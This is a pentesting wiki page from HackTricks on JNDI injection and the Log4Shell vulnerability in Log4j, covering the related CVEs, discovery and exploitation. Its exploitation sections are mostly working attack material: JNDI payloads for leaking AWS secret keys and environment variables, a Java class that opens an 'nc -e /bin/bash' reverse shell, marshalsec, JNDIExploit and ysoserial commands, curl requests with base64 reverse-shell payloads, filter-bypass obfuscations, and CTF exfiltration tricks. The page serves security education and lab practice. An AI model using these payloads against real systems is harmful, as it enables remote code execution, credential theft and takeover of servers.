jndi-java-naming-and-directory-interface-and-log4shell.md (32272B)
1 --- 2 title: "JNDI - Java Naming and Directory Interface & Log4Shell" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # JNDI - Java Naming and Directory Interface & Log4Shell 14 15 ## Basic Information 16 17 JNDI, integrated into Java since the late 1990s, serves as a directory service, enabling Java programs to locate data or objects through a naming system. It supports various directory services via service provider interfaces (SPIs), allowing data retrieval from different systems, including remote Java objects. Common SPIs include CORBA COS, Java RMI Registry, and LDAP. 18 19 ### JNDI Naming Reference 20 21 Java objects can be stored and retrieved using JNDI Naming References, which come in two forms: 22 23 - **Reference Addresses**: Specifies an object's location (e.g., _rmi://server/ref_), allowing direct retrieval from the specified address. 24 - **Remote Factory**: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location. 25 26 However, this mechanism can be exploited, potentially leading to the loading and execution of arbitrary code. As a countermeasure: 27 28 - **RMI**: `java.rmi.server.useCodeabseOnly = true` by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded. 29 - **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to `true`, remote code execution is possible without a Security Manager's oversight. 30 - **CORBA**: Doesn't have a specific property, but the Security Manager is always active. 31 32 However, the **Naming Manager**, responsible for resolving JNDI links, lacks built-in security mechanisms, potentially allowing the retrieval of objects from any source. This poses a risk as RMI, LDAP, and CORBA protections can be circumvented, leading to the loading of arbitrary Java objects or exploiting existing application components (gadgets) to run malicious code. 33 34 Examples of exploitable URLs include: 35 36 - _rmi://attacker-server/bar_ 37 - _ldap://attacker-server/bar_ 38 - _iiop://attacker-server/bar_ 39 40 Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 41 42 ### JNDI Example 43 44  45 46 Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 47 48 ### CORBA Overview 49 50 CORBA (Common Object Request Broker Architecture) employs an **Interoperable Object Reference (IOR)** to uniquely identify remote objects. This reference includes essential information like: 51 52 - **Type ID**: Unique identifier for an interface. 53 - **Codebase**: URL for obtaining the stub class. 54 55 Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves: 56 57 - Installation of a **Security Manager**. 58 - Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through: 59 - Socket permission, e.g., `permissions java.net.SocketPermission "*:1098-1099", "connect";`. 60 - File read permissions, either universally (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) or for specific directories where malicious files might be placed. 61 62 However, some vendor policies might be lenient and allow these connections by default.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 63 64 ### RMI Context 65 66 For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 67 68 ### LDAP 69 70 First of all, wee need to distinguish between a Search and a Lookup.\ 71 A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\ 72 A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**. 73 74 If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**. 75 76 Therefore, there are several ways to attack these options.\ 77 An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example. 78 79 In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 80 81 #### Deserialization exploit 82 83  84 85 The **exploit is serialized** and will be deserialized.\ 86 In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 87 88 #### JNDI Reference exploit 89 90 It's easier to attack this LDAP using **JavaFactory references**: 91 92  93 94 ## Log4Shell Vulnerability 95 96 The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java. 97 98 [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduced a `jndi` Lookup feature. This feature enables the retrieval of variables through JNDI. Typically, the key is automatically prefixed with `java:comp/env/`. However, if the key itself includes a **":"**, this default prefix is not applied. 99 100 With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged. 101 102 Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.<sup>[[3]](#references)</sup> 103 104 ## Overview of Log4Shell-Related CVEs 105 106 ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]** 107 108 This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).<sup>[[4]](#references)</sup> 109 110 ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]** 111 112 Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A [tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method.<sup>[[5]](#references)</sup> The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default.<sup>[[4]](#references)</sup> 113 114 ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]** 115 116 Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended.<sup>[[4]](#references)</sup> 117 118 ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]** 119 120 This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.<sup>[[4]](#references)</sup> 121 122 ### **CVE-2021-45105** **\[High]** 123 124 Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).<sup>[[6]](#references)</sup> 125 126 ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) 127 128 Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).<sup>[[7]](#references)</sup> 129 130 ## Log4Shell Exploitation 131 132 ### Discovery 133 134 This vulnerability is very easy to discover if unprotected because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like: 135 136 - `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate)) 137 - `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh)) 138 - `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite) 139 - `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn)) 140 - `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com)) 141 142 Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it. 143 144 > [!TIP] 145 > Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...} 146 147 #### **Local Discovery** 148 149 Search for **local vulnerable versions** of the library with: 150 151 ```bash 152 find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" 153 ``` 154 155 ### **Verification** 156 157 Some of the platforms listed before will allow you to insert some variable data that will be logged when it’s requested.\ 158 This can be very useful for 2 things: 159 160 - To **verify** the vulnerability 161 - To **exfiltrate information** abusing the vulnerability 162 163 For example you could request something like:\ 164 or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable. 165 166 Other information you could try to **leak**: 167 168 ```text 169 ${env:AWS_ACCESS_KEY_ID} 170 ${env:AWS_CONFIG_FILE} 171 ${env:AWS_PROFILE} 172 ${env:AWS_SECRET_ACCESS_KEY} 173 ${env:AWS_SESSION_TOKEN} 174 ${env:AWS_SHARED_CREDENTIALS_FILE} 175 ${env:AWS_WEB_IDENTITY_TOKEN_FILE} 176 ${env:HOSTNAME} 177 ${env:JAVA_VERSION} 178 ${env:PATH} 179 ${env:USER} 180 ${hostName} 181 ${java.vendor} 182 ${java:os} 183 ${java:version} 184 ${log4j:configParentLocation} 185 ${sys:PROJECT_HOME} 186 ${sys:file.separator} 187 ${sys:java.class.path} 188 ${sys:java.class.path} 189 ${sys:java.class.version} 190 ${sys:java.compiler} 191 ${sys:java.ext.dirs} 192 ${sys:java.home} 193 ${sys:java.io.tmpdir} 194 ${sys:java.library.path} 195 ${sys:java.specification.name} 196 ${sys:java.specification.vendor} 197 ${sys:java.specification.version} 198 ${sys:java.vendor.url} 199 ${sys:java.vendor} 200 ${sys:java.version} 201 ${sys:java.vm.name} 202 ${sys:java.vm.specification.name} 203 ${sys:java.vm.specification.vendor} 204 ${sys:java.vm.specification.version} 205 ${sys:java.vm.vendor} 206 ${sys:java.vm.version} 207 ${sys:line.separator} 208 ${sys:os.arch} 209 ${sys:os.name} 210 ${sys:os.version} 211 ${sys:path.separator} 212 ${sys:user.dir} 213 ${sys:user.home} 214 ${sys:user.name} 215 216 Any other env variable name that could store sensitive information 217 ``` 218 219 ### RCE Information 220 221 > [!TIP] 222 > Hosts running on JDK versions above 6u141, 7u131, or 8u121 are safeguarded against the LDAP class loading attack vector. This is due to the default deactivation of `com.sun.jndi.ldap.object.trustURLCodebase`, which prevents JNDI from loading a remote codebase via LDAP. However, it's crucial to note that these versions are **not protected against the deserialization attack vector**. 223 > 224 > For attackers aiming to exploit these higher JDK versions, it's necessary to leverage a **trusted gadget** within the Java application. Tools like ysoserial or JNDIExploit are often used for this purpose. On the contrary, exploiting lower JDK versions is relatively easier as these versions can be manipulated to load and execute arbitrary classes. 225 > 226 > For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) 227 228 ### RCE - Marshalsec with custom payload 229 230 You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)<sup>[[8]](#references)</sup> 231 232 Use the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (jar version available [**here**](https://github.com/RandomRobbieBF/marshalsec-jar)). This approach establishes a LDAP referral server to redirect connections to a secondary HTTP server where the exploit will be hosted: 233 234 ```bash 235 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit" 236 ``` 237 238 To prompt the target to load a reverse shell code, craft a Java file named `Exploit.java` with the content below: 239 240 ```java 241 public class Exploit { 242 static { 243 try { 244 java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999"); 245 } catch (Exception e) { 246 e.printStackTrace(); 247 } 248 } 249 } 250 ``` 251 252 Compile the Java file into a class file using: `javac Exploit.java -source 8 -target 8`. Next, initiate a **HTTP server** in the directory containing the class file with: `python3 -m http.server`. Ensure the **marshalsec LDAP server** references this HTTP server. 253 254 Trigger the execution of the exploit class on the susceptible web server by dispatching a payload resembling: 255 256 ```bash 257 ${jndi:ldap://<LDAP_IP>:1389/Exploit} 258 ``` 259 260 **Note:** This exploit hinges on Java's configuration to permit remote codebase loading via LDAP. If this is not permissible, consider exploiting a trusted class for arbitrary code execution. 261 262 ### RCE - **JNDIExploit** 263 264 > [!TIP] 265 > Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln. 266 > 267 > The source code is not available in the Wayback Machine snapshot. Analyze a trustworthy recovered copy before use, or choose another tool instead of executing an unaudited JAR. 268 269 For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_. 270 271 Then, you can download the **JNDIExploit** jar file and execute it with: 272 273 ```bash 274 wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip 275 unzip JNDIExploit.v1.2.zip 276 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access 277 ``` 278 279 After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\ 280 In _com.feihong.ldap.gadgets_, you can find **specific gadgets** that perform the requested action, potentially including arbitrary code execution. The _com.feihong.ldap.template_ package contains the template classes that **generate the exploits**. 281 282 You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are: 283 284 ```bash 285 ldap://null:1389/Basic/Dnslog/[domain] 286 ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] 287 ldap://null:1389/Basic/ReverseShell/[ip]/[port] 288 # But there are a lot more 289 ``` 290 291 So, in our example, we already have that docker vulnerable app running. To attack it: 292 293 ```bash 294 # Create a file inside of th vulnerable host: 295 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' 296 297 # Get a reverse shell (only unix) 298 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' 299 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' 300 ``` 301 302 When sending the attacks you will see some output in the terminal where you executed **JNDIExploit-1.2-SNAPSHOT.jar**. 303 304 **Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.** 305 306 ### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a> 307 308 In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\ 309 You can generate the URLs to send to the victim running: 310 311 ```bash 312 # Get reverse shell in port 4444 (only unix) 313 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444 314 315 # Execute command 316 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" 317 ``` 318 319 _This attack using a custom generated java object will work in labs like the **THM solar room**. However, this won’t generally work (as by default Java is not configured to load remote codebase using LDAP) I think because it’s not abusing a trusted class to execute arbitrary code._ 320 321 ### RCE - JNDI-Injection-Exploit-Plus 322 323 [https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is another tool for generating **workable JNDI links** and provide background services by starting RMI server,LDAP server and HTTP server.\ 324 325 ### RCE - ysoserial & JNDI-Exploit-Kit 326 327 This option is useful against applications on Java versions configured to trust only specified classes. **ysoserial** generates serialized graphs of trusted classes that can act as gadgets for **arbitrary code execution**; the target application must have the gadget class used by ysoserial on its classpath. 328 329 Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI: 330 331 ```bash 332 # Rev shell via CommonsCollections5 333 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser 334 ``` 335 336 Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where payloads wait for connections from vulnerable machines. The kit can serve its **automatically generated exploits** or **custom deserialization payloads** generated manually or with ysoserial. 337 338 ```bash 339 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser 340 ``` 341 342  343 344 Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/generated}`** 345 346 ### Bypasses 347 348 ```java 349 ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/} 350 ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/} 351 ${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/} 352 ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z} 353 ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/} 354 ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/} 355 ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi 356 ${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns 357 ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" 358 ``` 359 360 ### Automatic Scanners 361 362 - [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan) 363 - [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner) 364 - [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell) 365 - [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner) 366 - [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin) 367 - [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner) 368 - [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner) 369 - [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries 370 371 ### Labs to test 372 373 - [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)<sup>[[9]](#references)</sup> 374 - [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)<sup>[[8]](#references)</sup> 375 - [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) 376 - [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) 377 378 ## Post-Log4Shell Exploitation 379 380 In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**.<sup>[[10]](#references)</sup> 381 382 The [**security page**](https://logging.apache.org/log4j/2.x/security.html) of Log4j has some interesting sentences: 383 384 > From version 2.16.0 (for Java 8), the **message lookups feature has been completely removed**. **Lookups in configuration still work**. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly. 385 386 > From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), **only lookup strings in configuration are expanded recursively**; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved. 387 388 This means that by default you can **forget using any `jndi` exploit**. Moreover, to perform **recursive lookups** you need to have them configure. 389 390 For example, in that CTF this was configured in the file log4j2.xml: 391 392 ```xml 393 <Console name="Console" target="SYSTEM_ERR"> 394 <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n"> 395 </PatternLayout> 396 </Console> 397 ``` 398 399 ### Env Lookups 400 401 In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.<sup>[[11]](#references)</sup>\ 402 As shown in the [**previous payloads**](/hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell#verification), lookup syntax can access environment variables, for example **`${env:FLAG}`**. This did not directly solve the CTF challenge, but it can be useful in other environments.<sup>[[11]](#references)</sup> 403 404 ### Exfiltration in Exceptions 405 406 In the CTF, the attacker **could not access the Java application's stderr** through Log4j, but the Python wrapper printed Log4j **exceptions written to stdout**. Triggering an exception therefore exposed its content. One payload used to exfiltrate the flag was **`${java:${env:FLAG}}`**: because a lookup such as **`${java:CTF{blahblah}}`** does not exist, the resulting exception reveals the lookup value. 407 408  409 410 ### Conversion Patterns Exceptions 411 412 Just to mention it, you could also inject new [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) and trigger exceptions that will be logged to `stdout`. For example: 413 414  415 416 This did not exfiltrate data inside the error message because the lookup was not resolved before the conversion pattern, but it can still provide a behavioral detection signal. 417 418 ### Conversion Patterns Regexes 419 420 However, some **conversion patterns support regular expressions**. They can be used to infer lookup data through **binary-search** or **time-based** behavior. 421 422 - **Binary search via exception messages** 423 424 The **`%replace`** conversion pattern can **replace content in a string** using regular expressions. Its form is `replace{pattern}{regex}{substitution}`.\ 425 Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this: 426 427 ```bash 428 %replace{${env:FLAG}}{^CTF.*}{${error}} 429 # The string searched is the env FLAG, the regex searched is ^CTF.* 430 ## and ONLY if it's found ${error} will be resolved with will trigger an exception 431 ``` 432 433 - **Time-based** 434 435 As mentioned above, **`%replace`** supports regular expressions. A payload from the [**ReDoS page**](/hacktricks/pentesting-web/regular-expression-denial-of-service-redos) can therefore cause a **timeout** when a guessed flag prefix matches.\ 436 For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF. 437 438 In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response:<sup>[[10]](#references)</sup> 439 440 > ``` 441 > /%replace{ 442 > %replace{ 443 > %replace{ 444 > %replace{ 445 > %replace{ 446 > %replace{ 447 > %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} 448 > }{#}{######################################################} 449 > }{#}{######################################################} 450 > }{#}{######################################################} 451 > }{#}{######################################################} 452 > }{#}{######################################################} 453 > }{#}{######################################################} 454 > }{#}{######################################################} 455 > ``` 456 > 457 > If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** 458 > 459 > Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code) 460 461 ## References 462 463 - [1] [A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land (Black Hat talk)](https://www.youtube.com/watch?v=Y8a5nB-vy78) 464 - [2] [A Journey from JNDI/LDAP Manipulation to RCE (Black Hat US16 whitepaper)](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) 465 - [3] [Inside the log4j2 vulnerability (CVE-2021-44228) - Cloudflare Blog](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) 466 - [4] [All the Log4j, Logback bugs we know so far, and why you must ditch 2.15 - BleepingComputer](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/) 467 - [5] [Tweet demonstrating a CVE-2021-45046 bypass](https://twitter.com/marcioalm/status/1471740771581652995) 468 - [6] [Upgraded to Log4j 2.16? Surprise, there's a 2.17 fixing DoS - BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) 469 - [7] [CVE-2021-44832: Apache Log4j 2.17.0 Arbitrary Code Execution via JDBCAppender Data Source Element - Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) 470 - [8] [TryHackMe - Solar room](https://tryhackme.com/room/solar) 471 - [9] [UHC - LogForge (HackTheBox walkthrough video)](https://www.youtube.com/watch?v=XG14EstTgQ4) 472 - [10] [Google CTF 2022 - log4j2 writeup](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) 473 - [11] [Writeup GoogleCTF2022 - log4j](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)